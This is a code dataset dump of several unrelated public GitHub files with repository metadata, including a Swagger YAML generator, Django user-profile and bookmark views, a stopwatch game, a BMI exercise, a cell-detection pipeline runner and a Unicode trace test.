cur_table['components'][\"schemas\"].update(token_struct_filler())\n\n base = {'openapi': '3.0.0', 'info': {'description': rf'This is the swagger API for {title}', 'version': '1.0.0', 'title': rf'{title}', 'termsOfService': 'http://swagger.io/terms/', \n 'contact':{'email': 'darren.mannuela@gmail.com'}, 'license': {'name': 'Apache 2.0', 'url': 'http://www.apache.org/licenses/LICENSE-2.0.html'}},\n 'servers': [{'description': rf'{title}', 'url': 'http://localhost:8080/api/v1'},\n {'description': 'SwaggerHub API Auto Mocking', 'url': rf'https://virtserver.swaggerhub.com/DarrenMannuela/{title.replace(\" \", \"\")}/1.0.0'}], \n \n \n \n 'tags':[{'name': 'Afe', 'description': rf'All endpoints related to get {title} AFE'}, \n {'name': 'Workspace', 'description': rf'All endpoints related to {title} Workspace'},\n {'name': rf'{tag}', 'description': rf'All endpoints related to {title}'},\n {'name': rf'{tag}'+\" Dummy Data\", 'description': rf'All endpoints related to {title}'},\n {'name': \"User Mgmt\", 'description': rf'All endpoints related to tokens'}]}\n \n endpoint_name = \"\"\n for word in range (len(seperated)):\n if word == len(seperated)-1:\n endpoint_name += seperated[word]\n else:\n endpoint_name += seperated[word]+\"-\"\n\n\n afe_endpoint = {rf'/{endpoint_name}'+\"-afe\": \n {'get':{'security': [{'Authorization':[]}], 'tags': ['Afe'], 'summary': rf'Get {title} AFE', \n 'responses':{'200': {'description': rf'get {title} AFE data to be returned', 'content': {'application/json': {'example': [[]]}}}}}, \n 'post': {'security': [{'OAuth2PasswordBearer': []}], 'tags': ['Afe'], 'summary': rf'Post a new {title} AFE', \n 'description': rf'Create a new {title} AFE data', \n 'requestBody': {'required': True, 'description': rf'Request body to create {title} AFE data', \n 'content': {'application/json': {'schema': {\"$ref\": rf'#/components/schemas/{title}'}, \n 'example': []}}}, \n 'responses': {'200': {'description': rf'{title} data is added', 'content': {'application/json': {'example': {'message': rf'The {title} AFE data was successfully added'}}}}}}},\n \n rf'/{endpoint_name}'+\"-afe/\"+\"{afe}\":\n {'parameters': [{'in': 'path', 'name': 'afe', 'required': True, 'description': rf'afe of {title} data to fetch', 'schema':{'type': 'integer'}}],\n 'get':{'security': [{'Authorization':[]}], 'tags': ['Afe'], 'summary': rf'Get {title} AFE', \n 'responses':{'200': {'description': rf'get {title} AFE data to be returned', 'content': {'application/json': {'example': [[]]}}}}},\n 'put': {'security': [{'Authorization':[]}], 'tags': ['Afe'], 'summary': rf'Update a new {title} AFE data', 'description': rf'Update a new {title} data', \n 'requestBody': {'required': True, 'description': rf'Request body to update {title} AFE data', \n 'content': {'application/json': {'schema': {\"$ref\": rf'#/components/schemas/{title}'}, 'example': []}}},\n 'responses': {'200': {'description': rf'{title} data is completely updated', 'content': {'application/json': {'example': {'message': rf'The {title} AFE data is completely updated'}}}}}},\n\n 'patch': {'security': [{'Authorization':[]}], 'tags': ['Afe'], 'summary': rf'Update a new {title} AFE data', 'description': rf'Update a new {title} data', \n 'requestBody': {'required': True, 'description': rf'Request body to update {title} AFE data', \n 'content': {'application/json': {'schema': {\"$ref\": rf'#/components/schemas/{title}'}, 'example': []}}},\n 'responses': {'200': {'description': rf'one row in {title} data is updated', 'content': {'application/json': {'example': {'message': rf'The one row in {title} AFE data is updated'}}}}}},\n \n 'delete': {'security': [{'Authorization':[]}], 'tags': ['Afe'], 'summary': rf'Delete {title} AFE data', 'description': rf'Delete {title} AFE data',\n 'responses':{'200': {'description': rf'{title} AFE data is deleted', 'content': {'application/json': {'example': {'message': rf'The {title} AFE data was successfully deleted'}}}}}}}}\n \n \n afe_endpoint[rf'/{endpoint_name}'+\"-afe\"]['get']['responses']['200']['content']['application/json'].update(afe_filler())\n afe_endpoint[rf'/{endpoint_name}'+\"-afe\"]['post']['requestBody']['content']['application/json'].update(afe_filler())\n afe_endpoint[rf'/{endpoint_name}'+\"-afe/\"+\"{afe}\"]['get']['responses']['200']['content']['application/json'].update(afe_filler())\n afe_endpoint[rf'/{endpoint_name}'+\"-afe/\"+\"{afe}\"]['put']['requestBody']['content']['application/json'].update(afe_filler())\n afe_endpoint[rf'/{endpoint_name}'+\"-afe/\"+\"{afe}\"]['patch']['requestBody']['content']['application/json'].update(afe_filler())\n\n endpoint_holder['paths'].update(afe_endpoint)\n\n\n token_endpoint = {'/token': \n {'post': {'security': [{'OAuth2PasswordBearer': []}], 'tags': ['User Mgmt'], 'summary': \"Login For Access Token\", \n 'operationId': 'login_for_access_token_token_post', \n 'requestBody': {'required': True, 'description': rf'Request body to create {title} AFE data', \n 'content': {'application/x-www-form-urlencoded': {'schema': {\"$ref\": \"#/components/schemas/Body_login_for_access_token_token_post\"}, \n 'example': []}}}, \n 'responses': {'200': {'description': 'Successful Response', 'content': {'application/json': {\"schema\": {\"$ref\": \"#/components/schemas/Token\"}}}},\n '422': {'description': 'Validation Error', 'content': {'application/json': {\"schema\": {\"$ref\": \"#/components/schemas/HTTPValidationError\"}}}}}}}}\n \n\n\n with open(workspace_file, \"r+\") as workspace:\n def workspace_struct_filler():\n workspace_struct = {\n rf\"{title}\"+\"_workspace\" : {\n \"type\" : \"array\",\n \"items\" : {\n \"type\" : \"object\",\n \"properties\" : {\n \"id\": {\n \"type\": \"integer\"\n },\n \"afe_number\": {\n \"type\": \"integer\"\n },\n rf\"{workspace_id}\" : {\n \"type\" : \"integer\"\n }\n }\n }\n }\n }\n return workspace_struct\n \n\n cur_workspace = workspace.read()\n get_field = r\"\\s+([^\\s]+)\\s+\\*int\"\n fields = re.findall(get_field, cur_workspace)\n workspace_id = fields[1]\n\n for field in fields:\n workspace_endpoint = {rf'/{endpoint_name}'+\"-workspace\": \n {'get':{'security': [{'Authorization':[]}], 'tags': ['Workspace'], 'summary': rf'Get {title} Workspace', \n 'responses':{'200': {'description': rf'get {title} Workspace data to be returned', 'content': {'application/json': {'example': [[]]}}}}}, \n 'post': {'security': [{'OAuth2PasswordBearer': []}], 'tags': ['Workspace'], 'summary': rf'Post a new {title} Workspace', \n 'description': rf'Create a new {title} Workspace data', \n 'requestBody': {'required': True, 'description': rf'Request body to create {title} Workspace data', \n 'content': {'application/json': {'schema': {\"$ref\": rf'#/components/schemas/{title}'}, \n 'example': []}}}, \n 'responses': {'200': {'description': rf'{title} Workspace data is added', 'content': {'application/json': {'example': {'message': rf'The {title} Workspace data was successfully added'}}}}}}},\n rf'/{endpoint_name}'+\"-workspace/\"+\"{afe}}\": \n {'parameters': [{'in': 'path', 'name': 'afe', 'required': True, 'description': rf'afe of {title} data to fetch', 'schema':{'type': 'integer'}}],\n 'get':{'security': [{'Authorization':[]}], 'tags': ['Workspace'], 'summary': rf'Get {title} Workspace', \n 'responses':{'200': {'description': rf'get {title} Workspace data to be returned', 'content': {'application/json': {'example': [[]]}}}}}},\n \n \n \n rf'/{endpoint_name}'+\"-workspace/\"+\"{id}\":\n {'parameters': [{'in': 'path', 'name': 'id', 'required': True, 'description': rf'id of {title} data to fetch', 'schema':{'type': 'integer'}}],\n 'put': {'security': [{'Authorization':[]}], 'tags': ['Workspace'], 'summary': rf'Update a new {title} Workspace data', 'description': rf'Update a new {title} Workspace Workspace data', \n 'requestBody': {'required': True, 'description': rf'Request body to update {title} data', \n 'content': {'application/json': {'schema': {\"$ref\": rf'#/components/schemas/{title}'}, 'example': []}}},\n 'responses': {'200': {'description': rf'{title} Workspace data is completely updated', 'content': {'application/json': {'example': {'message': rf'The {title} Workspace data is completely updated'}}}}}},\n\n 'patch': {'security': [{'Authorization':[]}], 'tags': ['Workspace'], 'summary': rf'Update a new {title} data', 'description': rf'Update a new {title} data', \n 'requestBody': {'required': True, 'description': rf'Request body to update {title} data', \n 'content': {'application/json': {'schema': {\"$ref\": rf'#/components/schemas/{title}'}, 'example': []}}},\n 'responses': {'200': {'description': rf'one row in {title} data is updated', 'content': {'application/json': {'example': {'message': rf'The one row in {title} Workspace data is updated'}}}}}},\n \n 'delete': {'security': [{'Authorization':[]}], 'tags': ['Workspace'], 'summary': rf'Delete {title} Workspace data', 'description': rf'Delete {title} data',\n 'responses':{'200': {'description': rf'{title} Workspace data is deleted', 'content': {'application/json': {'example': {'message': rf'The {title} Workspace data was successfully deleted'}}}}}}}}\n \n workspace_endpoint[rf'/{endpoint_name}'+\"-workspace\"]['get']['responses']['200']['content']['application/json'].update(workspace_filler())\n workspace_endpoint[rf'/{endpoint_name}'+\"-workspace\"]['post']['requestBody']['content']['application/json'].update(workspace_filler())\n workspace_endpoint[rf'/{endpoint_name}'+\"-workspace/\"+\"{afe}}\"]['get']['responses']['200']['content']['application/json'].update(workspace_filler())\n workspace_endpoint[rf'/{endpoint_name}'+\"-workspace/\"+\"{id}\"]['put']['requestBody']['content']['application/json'].update(workspace_filler())\n workspace_endpoint[rf'/{endpoint_name}'+\"-workspace/\"+\"{id}\"]['patch']['requestBody']['content']['application/json'].update(workspace_filler())\n\n \n\n cur_table['components'][\"schemas\"].update(workspace_struct_filler())\n cur_table['components'][\"schemas\"].update(afe_struct_filler())\n\n endpoint_holder['paths'].update(workspace_endpoint)\n\n with open(cur_file, \"r+\") as dto:\n filler = {'example': {}}\n schema = {}\n def table_filler(filler: dict):\n table_filler = filler\n return table_filler\n \n\n cur_dto = dto.read()\n get_field = r\"\\s+([^\\s]+)\\s+(?:\\*string|\\*int|int)\"\n fields = re.findall(get_field, cur_dto)\n\n get_types = cur_dto.split(\"{\")[1]\n get_types = get_types.split(\"\\n\")\n\n types = []\n\n for type in get_types:\n if type != \"\" or type != \"}\":\n cur_type = type.split(\" \")\n\n while \"\" in cur_type:\n cur_type.remove(\"\")\n\n if len(cur_type) >= 3:\n types.append(cur_type[1])\n\n print(types)\n endpoint = {rf'/{endpoint_name}': \n {'get':{'security': [{'Authorization':[]}], 'tags': [rf'{tag}'], 'summary': rf'Get {title}', \n 'responses':{'200': {'description': rf'get {title} data to be returned', 'content': {'application/json': {'example': [[]]}}}}}, \n 'post': {'security': [{'OAuth2PasswordBearer': []}], 'tags': [rf'{tag}'], 'summary': rf'Post a new {title}', \n 'description': rf'Create a new {title} data', \n 'requestBody': {'required': True, 'description': rf'Request body to create {title} data', \n 'content': {'application/json': {'schema': {\"$ref\": rf'#/components/schemas/{title}'}, \n 'example': []}}}, \n 'responses': {'200': {'description': rf'{title} data is added', 'content': {'application/json': {'example': {'message': rf'The {title} data was successfully added'}}}}}}},\n \n rf'/{endpoint_name}/'+\"{id}\":\n {'parameters': [{'in': 'path', 'name': 'id', 'required': True, 'description': rf'id of {title} data to fetch', 'schema':{'type': 'integer'}}],\n 'get':{'security': [{'Authorization':[]}], 'tags': [rf'{tag}'], 'summary': rf'Get {title}', \n 'responses':{'200': {'description': rf'get {title} data to be returned', 'content': {'application/json': {'example': [[]]}}}}},\n 'put': {'security': [{'Authorization':[]}], 'tags': [rf'{tag}'], 'summary': rf'Update a new {title} data', 'description': rf'Update a new {title} data', \n 'requestBody': {'required': True, 'description': rf'Request body to update {title} data', \n 'content': {'application/json': {'schema': {\"$ref\": rf'#/components/schemas/{title}'}, 'example': []}}},\n 'responses': {'200': {'description': rf'{title} data is completely updated', 'content': {'application/json': {'example': {'message': rf'The {title} data is completely updated'}}}}}},\n\n 'patch': {'security': [{'Authorization':[]}], 'tags': [rf'{tag}'], 'summary': rf'Update a new {title} data', 'description': rf'Update a new {title} data', \n 'requestBody': {'required': True, 'description': rf'Request body to update {title} data', \n 'content': {'application/json': {'schema': {\"$ref\": rf'#/components/schemas/{title}'}, 'example': []}}},\n 'responses': {'200': {'description': rf'one row in {title} data is updated', 'content': {'application/json': {'example': {'message': rf'The one row in {title} data is updated'}}}}}},\n \n 'delete': {'security': [{'Authorization':[]}], 'tags': [rf'{tag}'], 'summary': rf'Delete {title} data', 'description': rf'Delete {title} data',\n 'responses':{'200': {'description': rf'{title} data is deleted', 'content': {'application/json': {'example': {'message': rf'The {title} data was successfully deleted'}}}}}}},\n\n rf'/{endpoint_name}/'+\"{num}\": \n {'parameters': [{'in': 'path', 'name': 'num', 'required': True, 'description': rf'number of dummy data to add', 'schema':{'type': 'integer'}}],\n 'get':{'security': [{'Authorization':[]}], 'tags': [rf'{tag}'+\" Dummy Data\"], 'summary': rf'Add dummy data to {title}', \n 'responses':{'200': {'description': rf'add data to {title}', 'content': {'application/json': {}}}}}}}\n \n schema[title] = {\"type\": \"object\", \"properties\":{}}\n\n cur_schema = {title:{\n \"type\": \"object\",\n \"properties\": {}\n }}\n \n for field in range (len(fields)):\n if types[field] == \"*string\":\n filler['example'][fields[field]] = \"LoremIpsum\"\n cur_field = {fields[field]:{'type': \"string\"}}\n cur_schema[title]['properties'].update(cur_field)\n if types[field] == \"*int\":\n filler['example'][fields[field]] = 1\n cur_field = {fields[field]:{'type': \"integer\"}}\n cur_schema[title]['properties'].update(cur_field)\n if types[field] == \"int\":\n filler['example'][fields[field]] = 1\n cur_field = {fields[field]:{'type': \"integer\"}}\n cur_schema[title]['properties'].update(cur_field)\n\n endpoint[rf'/{endpoint_name}']['get']['responses']['200']['content']['application/json'].update(table_filler(filler))\n\n cur_table['components'][\"schemas\"].update(cur_schema)\n\n endpoint_holder[\"paths\"].update(endpoint)\n endpoint_holder['paths'].update(token_endpoint)\n base.update(endpoint_holder)\n base.update(cur_table)\n\n # print(cur_table)\n\n\n\n with open(f\"/Users/darrenmp/Documents/vscode/db-ppdm-copy/permen_swagger/{title}.yaml\", \"w\") as json_file:\n yaml.dump(base, json_file, sort_keys=False, default_flow_style=False)\n\n\n \n \n \n \n \n\n\n\n\n \n # # endpoints = {rf'/{title_name}': \n # {'get':{'security': [{'Authorization':[]}], 'tags': ['Query'], 'summary': rf'Get {title}', \n # 'responses':{'200': {'description': rf'get {title} data to be returned', 'content': {'application/json': {'example': [{}]}}}}}, \n # 'post': {'security': [{'OAuth2PasswordBearer': []}], 'tags': ['Create'], 'summary': rf'Post a new {title}', \n # 'description': rf'Create a new {title} data', \n # 'requestBody': {'required': True, 'description': rf'Request body to create {title} data', \n # 'content': {'application/json': {'schema': {\"$ref\": rf'#/components/schemas/{title}'}, \n # 'example': {}}}}, \n # 'responses': {'200': {'description': rf'{title} data is added', 'content': {'application/json': {'example': {'message': rf'The {title} data was successfully added'}}}}}}}, \n # rf'/{title_name}/{afe}':\n # {'parameters': [{'in': 'path', 'name': 'afe', 'required': True, 'description': rf'afe of {title} data to fetch', 'schema':{'type': 'string'}}],\n # 'put': {'security': [{'Authorization':[]}], 'tags': ['Put'], 'summary': rf'Update a new {title} data', 'description': rf'Update a new {title} data', \n # 'requestBody': {'required': True, 'description': rf'Request body to update {title} data', \n # 'content': {'application/json': {'schema': {\"$ref\": rf'#/components/schemas/{title}'}, 'example': {}}}},\n # 'responses': {'200': {'description': rf'{title} data is completely updated', 'content': {'application/json': {'example': {'message': rf'The {title} data is completely updated'}}}}}},\n\n # 'patch': {'security': [{'Authorization':[]}], 'tags': ['Patch'], 'summary': rf'Update a new {title} data', 'description': rf'Update a new {title} data', \n # 'requestBody': {'required': True, 'description': rf'Request body to update {title} data', \n # 'content': {'application/json': {'schema': {\"$ref\": rf'#/components/schemas/{title}'}, 'example': {}}}},\n # 'responses': {'200': {'description': rf'one row in {title} data is updated', 'content': {'application/json': {'example': {'message': rf'The one row in {title} data is updated'}}}}}},\n \n # 'delete': {'security': [{'Authorization':[]}], 'tags': ['Delete'], 'summary': rf'Delete {title} data', 'description': rf'Delete {title} data',\n # 'responses':{'200': {'description': rf'{title} data is deleted', 'content': {'application/json': {'example': {'message': rf'The {title} data was successfully deleted'}}}}}}}}\n \n\n\n\n # # print(fields)","repo_name":"DarrenMannuela/db-ppdm","sub_path":"permen_swagger_maker.py","file_name":"permen_swagger_maker.py","file_ext":"py","file_size_in_byte":28708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39474474271","text":"from typing import List\n\nfrom app.core.config import settings\n\nfrom .auth0 import (\n Auth0,\n Auth0HTTPBearer,\n Auth0User,\n JwksDict,\n JwksKeyDict,\n OAuth2ImplicitBearer,\n)\nfrom .exceptions import (\n Auth0UnauthenticatedException,\n Auth0UnauthorizedException,\n HTTPAuth0Error,\n)\n\nauth = Auth0(\n domain=settings.auth.domain,\n api_audience=settings.auth.audience,\n scopes=settings.auth.scopes,\n)\n\n\n__all__: List[str] = [\n \"Auth0\",\n \"Auth0HTTPBearer\",\n \"Auth0UnauthenticatedException\",\n \"Auth0UnauthorizedException\",\n \"Auth0User\",\n \"HTTPAuth0Error\",\n \"JwksDict\",\n \"JwksKeyDict\",\n \"OAuth2ImplicitBearer\",\n \"auth\",\n]\n","repo_name":"joeygrable94/GCAPI-Backend","sub_path":"app/core/security/auth/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21294969995","text":"weight = float(input('Digite seu peso (em kg): '))\nheight = float(input('Digite sua altura (em metros): '))\ngenre = input(f'Seu sexo é masculino (M) ou feminino (F)? ')\nimc = weight / (height ** 2)\nif genre in 'Mm':\n if imc > 25:\n ideal_weight = 25 * (height ** 2)\n diff = weight - ideal_weight\n print(f'Você deve perder {diff:.2f} KG para ter IMC = 25')\n else:\n print('Você não precisa perder peso para ter IMC <= 25')\nif genre in 'Ff':\n if imc > 24:\n ideal_weight = 24 * (height ** 2)\n diff = weight - ideal_weight\n print(f'Você deve perder {diff:.2f} KG para ter IMC = 24')\n else:\n print('Você não precisa perder peso para ter IMC <= 24')\nif genre not in 'FfMm':\n print('A entrada contém dados não reconhecidos')\n","repo_name":"ViniciusLoures/BCC701","sub_path":"[P-03]/p03q04.py","file_name":"p03q04.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73992227123","text":"import pytz\nfrom django.contrib import messages\nfrom django.contrib.auth import logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.db import transaction\nfrom django.shortcuts import render, redirect\nfrom django.views import generic\n\nfrom Accounts.forms import ProfileForm, UserForm, UpdateUserForm, UpdateProfileForm, SearchForm\nfrom Accounts.models import Profile, Follow, FollowManager\n\n\ndef logout_view(request):\n logout(request)\n\n\nclass ProfileView(generic.DetailView):\n model = Profile\n queryset = Profile.objects.all()\n template_name = 'profiles/profile-view.html'\n\n\nclass ProfileListing(generic.ListView):\n model = Profile\n template_name = 'profiles/view-all.html'\n paginate_by = 20\n SearchString = ''\n\n def get_context_data(self, **kwargs):\n context = super(ProfileListing, self).get_context_data(**kwargs)\n context['form'] = SearchForm(self.SearchString)\n context['search_request'] = ('SearchString=' + pytz.unicode(self.SearchString))\n return context\n\n def get(self, request, *args, **kwargs):\n self.SearchString = request.GET.get('SearchString', '')\n return super(ProfileListing, self).get(request, *args, **kwargs)\n\n def get_queryset(self):\n if not self.SearchString:\n listing = Profile.objects.all()\n else:\n listing = Profile.objects.filter(\n user__username__contains=self.SearchString\n )\n\n return listing.order_by('-id')\n\n\n@transaction.atomic\ndef register(request):\n \"\"\"\n Registers a new user\n :param request:\n :return:\n \"\"\"\n if request.method == 'POST':\n user_form = UserForm(request.POST)\n profile_form = ProfileForm(request.POST, request.FILES)\n if user_form.is_valid() and profile_form.is_valid():\n user = user_form.save()\n user.refresh_from_db() # This will load the Profile created by the Signal\n profile_form = ProfileForm(request.POST, request.FILES,\n instance=user.profile) # Reload the profile form with the profile instance\n profile_form.full_clean()\n profile_form.save() # Gracefully save the form\n messages.success(request, \"You're in. Now open that front door and take the first step.\")\n return redirect('login')\n else:\n user_form = UserForm()\n profile_form = ProfileForm()\n return render(request, 'registration/register.html', {\n 'user_form': user_form,\n 'profile_form': profile_form\n })\n\n\n@login_required\n@transaction.atomic\ndef update_profile(request):\n \"\"\"\n Updates a profile.\n :param request:\n :return:\n \"\"\"\n if request.method == 'POST':\n user_form = UpdateUserForm(request.POST, instance=request.user)\n profile_form = UpdateProfileForm(request.POST, request.FILES, instance=request.user.profile)\n if user_form.is_valid() and profile_form.is_valid():\n user_form.save()\n profile_form.save()\n messages.success(request, 'Updated profile. Hope you dig the new you.')\n return redirect('home')\n else:\n messages.error(request, 'Please correct the errors below.')\n else:\n user_form = UpdateUserForm(instance=request.user)\n profile_form = UpdateProfileForm(instance=request.user.profile)\n return render(request, 'profiles/profile-update.html', {\n 'user_form': user_form,\n 'profile_form': profile_form\n })\n\n\n@login_required\ndef follower_add(request, pk):\n \"\"\"\n Adds a followee\n :param request:\n :param pk: The user's PK\n :return:\n \"\"\"\n if request.method == 'POST':\n followee = Profile.objects.get(pk=pk)\n follower = request.user.profile\n try:\n FollowManager.follow(follower, followee)\n messages.success(request, \"You're following them now.\")\n except Follow.DoesNotExist:\n return False\n else:\n return redirect('Accounts:view-profile', pk=pk)\n\n return render(request, 'index.html')\n\n\n@login_required\ndef follower_delete(request, pk):\n \"\"\"\n Removes a followee\n :param request:\n :param pk:\n :return:\n \"\"\"\n if request.method == 'POST':\n followee = Profile.objects.get(pk=pk)\n follower = request.user.profile\n try:\n FollowManager.remove_follow(follower, followee)\n messages.success(request, \"You're no longer following them.\")\n except Follow.DoesNotExist:\n return False\n else:\n return redirect('Accounts:view-profile', pk=pk)\n return render(request, 'index.html')\n","repo_name":"tonytornado/Arrowsmash","sub_path":"Accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"3888582551","text":"# template for \"Stopwatch: The Game\"\n\n# CodeSkulptor URL: http://www.codeskulptor.org/#user47_L62YisLKKPm2dXe.py\n\n__author__ = \"Apu Islam\"\n__copyright__ = \"Copyright (c) 2016 Apu Islam\"\n__credits__ = [\"Apu Islam\"]\n__license__ = \"MIT\"\n__version__ = \"1.0\"\n__maintainer__ = \"Apu Islam\"\n\n# Importing Modules\nimport simplegui\n\n# define global variables\n\n# For having a 0.1 second interval in calling the time function\ninterval = 100\n\n# Time at any moment\nphase = 0\n\n# Marker of clicking stop\nstopage = True\n\n# Coordinates for printing hitting status [x, y]\nx = 0\ny = 0\n\n# Coordinates for the canvas size\nwidth = 400\nheight = 400\n\n# Taking A, and D of format A:BC.D to print in the middle\nA = 0\nD = 0\n\n\n# define helper function format that converts time\n# in tenths of seconds into formatted string A:BC.D\ndef format(t):\n # Importing global A, and D to facilitate in printing in the middle\n global A\n global D\n A = t // 600\n BCD = t % 600\n BC = BCD // 10\n B = BC // 10\n C = BC % 10\n D = BCD % 10\n\n # Returning the main string format to be displayed\n return str(A) + \":\" + str(B) + str(C) + \".\" + str(D)\n\n\n# Function to check if complete second has been hit or not\ndef won_or_missed_check(D):\n global x, y\n y += 1\n\n # Checking if the tenth of second is zero or not\n if D == 0:\n x += 1\n\n\n# Function for displaying hitting status\ndef displaying_hitting_status():\n return str(x) + \"/\" + str(y)\n\n\n# define event handlers for buttons; \"Start\", \"Stop\", \"Reset\"\n\n# For running the watch\ndef start():\n # Setting the stopage marker as False so that stop can give proper value\n global stopage\n stopage = False\n\n # Starting the timer function\n timer.start()\n\n\n# For halting the watch\ndef stop():\n # Stopping the timer function\n timer.stop()\n\n global stopage\n\n # Checking if consequtive stop buttons have been clicked or not\n if not stopage:\n # Setting the stopage marker as True to avoid consequtive hitting values\n stopage = True\n\n # Calling the function to check the hitting status\n won_or_missed_check(D)\n\n\n# Fuction to reset the whole game\ndef reset():\n # Stopping the timer function\n timer.stop()\n\n # Resetting the rest of the global variables\n global phase, x, y, stopage\n phase = 0\n x = 0\n y = 0\n stopage = True\n\n\n# Function to exit the game\ndef exit():\n frame.stop()\n\n\n# define event handler for timer with 0.1 sec interval\ndef increment_of_phase():\n # Increasing the time with repeated creation of timer\n global phase\n phase += 1\n\n\n# define draw handler\ndef draw(canvas):\n # Printing the A:BC.D format in the middle of the canvas\n canvas.draw_text(format(phase), [width / 2 - 75 - len(str(A)) * 10, height / 2], 64, \"Silver\")\n\n # Printing the hitting status at the top right corner of the canvas\n canvas.draw_text(displaying_hitting_status(), [width - 150, height - 360], 44, \"Gold\")\n\n\n# create frame\nframe = simplegui.create_frame(\"STOP WATCH\", width, height)\n\n# register event handlers\nframe.add_button(\"Start\", start, 150)\nframe.add_label(\"\")\nframe.add_button(\"Stop\", stop, 150)\nframe.add_label(\"\")\nframe.add_button(\"Reset\", reset, 150)\nframe.add_label(\"\")\nframe.add_button(\"Exit The Game\", exit, 150)\nframe.set_draw_handler(draw)\ntimer = simplegui.create_timer(interval, increment_of_phase)\n\n# start frame\nframe.start()\n\n# Thanks for evaluating the code","repo_name":"apu031/PyGameCollection","sub_path":"Introduction to Python (Coursera)/Part1 (Basic)/Week4/stopwatch.py","file_name":"stopwatch.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"20579405862","text":"from rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom base.utils import get_serializer_error\nfrom bookmarks.models import BookmarkSubCategory\nfrom bookmarks.serializers import BookmarkSubCategorySerializer\nfrom bookmarks.utils import group_bookmarks\n\n\nclass BookmarkSubCategoryBulkCreateAPIView(APIView):\n bookmark_sub_category_serializer_class = BookmarkSubCategorySerializer\n\n def post(self, request, *args, **kwargs):\n user_id = request.user.id\n sub_categories = [\n {**sub_category, \"user\": user_id} for sub_category in request.data\n ]\n\n serializer = self.bookmark_sub_category_serializer_class(data=sub_categories, many=True)\n if not serializer.is_valid():\n error = get_serializer_error(serializer.errors)\n return Response(data={\"error\": error}, status=status.HTTP_400_BAD_REQUEST)\n\n serializer.save()\n\n all_sub_categories = BookmarkSubCategory.objects.filter(user=user_id)\n serialized_sub_categories = self.bookmark_sub_category_serializer_class(all_sub_categories, many=True).data\n grouped_sub_categories = group_bookmarks(serialized_sub_categories)\n\n response_data = {\n \"message\": \"Sub categories created successfully.\",\n \"sub_categories\": grouped_sub_categories,\n }\n return Response(data=response_data, status=status.HTTP_201_CREATED)\n","repo_name":"john74/homepage-backend","sub_path":"bookmarks/views/bookmark_sub_category_bulk_create_view.py","file_name":"bookmark_sub_category_bulk_create_view.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30410847374","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 14/04/2020\n\n@author: yhagos\n\"\"\"\nimport os\nimport json\n\nfrom AwareNet_pipeline.CellSpatialMapping import DetectCells\n\ndef run_cd_cc(cws_dir,\n\t\t\t output_dir,\n\t\t\t slide_name,\n\t\t\t cell_label_text,\n\t\t\t cell_names_ordered,\n\t\t\t cws_mask=None,\n\t\t\t img_name_pattern=('Da',),\n\t\t\t num_cpu=1,\n\t\t\t pred_prob_threshold=0.5,\n\t\t\t distance_threshold=10,\n\t\t\t area_threshold=3):\n\tcc_model_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Best_models', 'CC_best_model', 'best_model.h5')\n\tcd_model_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Best_models', 'CD_best_model', 'best_model.h5')\n\n\n\tparams = dict(\n\t\tcell_detection_model_dir=cd_model_dir,\n\t\tcell_classification_model_dir=cc_model_dir,\n\t\tinput_dir=cws_dir,\n\t\toutput_dir=output_dir,\n\t\tnum_processes=num_cpu,\n\t\tslide_name=slide_name,\n\t\tscale=1,\n\t\trun_on_batch=True,\n\t\tsplit_area_threshold=0.95,\n\t\tpred_probability_threshold=pred_prob_threshold,\n\t\tpostprocess=True,\n\t\tcell_names_ordered=cell_names_ordered, # ['Blue', 'Brown', 'Red', 'RedBrown']\n\t\tcell_label_text=cell_label_text,\n\t\tdo_classification=True,\n\t\tprediction_prob_area_threshold=area_threshold,\n\t\tdistance_threshold=distance_threshold,\n\t\tcount_loss_used=False,\n\t\timg_name_pattern=img_name_pattern,\n\t\tcws_mask=cws_mask,\n\t\tsave_annotated_image=True,\n\t\tsave_detection_prob_map=False,\n\t)\n\t\n\t# save hyper parameters\n\tos.makedirs(output_dir, exist_ok=True)\n\twith open(os.path.join(output_dir, '_params_.json'), 'w') as fp:\n\t\tjson.dump(params, fp, indent=5)\n\t\n\t# run\n\tobj = DetectCells(**params)\n\tobj.run()\n","repo_name":"YemanBrhane/BM-Spatial-Analysis","sub_path":"AwareNet_pipeline/run_cd_cc.py","file_name":"run_cd_cc.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13093837801","text":"# -*- coding: UTF-8 -*-\n\n\n\n\nimport pytestemb as test\n\nvector = [ \"предыстория\",\n \"الإنكليزية\",\n u\"предыстория\",\n u\"الإنكليزية\",\n u\"ascii\",\n \"ascii\",\n u\"\\u0627\\u0644\\u0625\\u0646\\u0643\\u0644\\u064a\\u0632\\u064a\\u0629\"\n \"\\u0627\\u0644\\u0625\\u0646\\u0643\\u0644\\u064a\\u0632\\u064a\\u0629\"\n u\"\\xd8\\xa7\\xd9\\x84\\xd8\\xa5\\xd9\\x86\\xd9\\x83\\xd9\\x84\\xd9\\x8a\\xd8\\xb2\\xd9\\x8a\\xd8\\xa9\",\n \"\"\n ]\n\n\n\ndef test_assert():\n for itm in vector:\n test.assert_true(True, itm)\n test.assert_true(False, itm)\n\n\n\ndef test_trace():\n for itm in vector:\n test.trace_script( itm)\n test.trace_env(\"env\", itm)\n test.trace_io(\"io\", itm)\n \n \n\n\nif __name__ == \"__main__\":\n \n \n test.add_test_case(test_assert)\n test.add_test_case(test_trace)\n test.run_script()\n\n \n \n \n \n \n \n \n \n \n 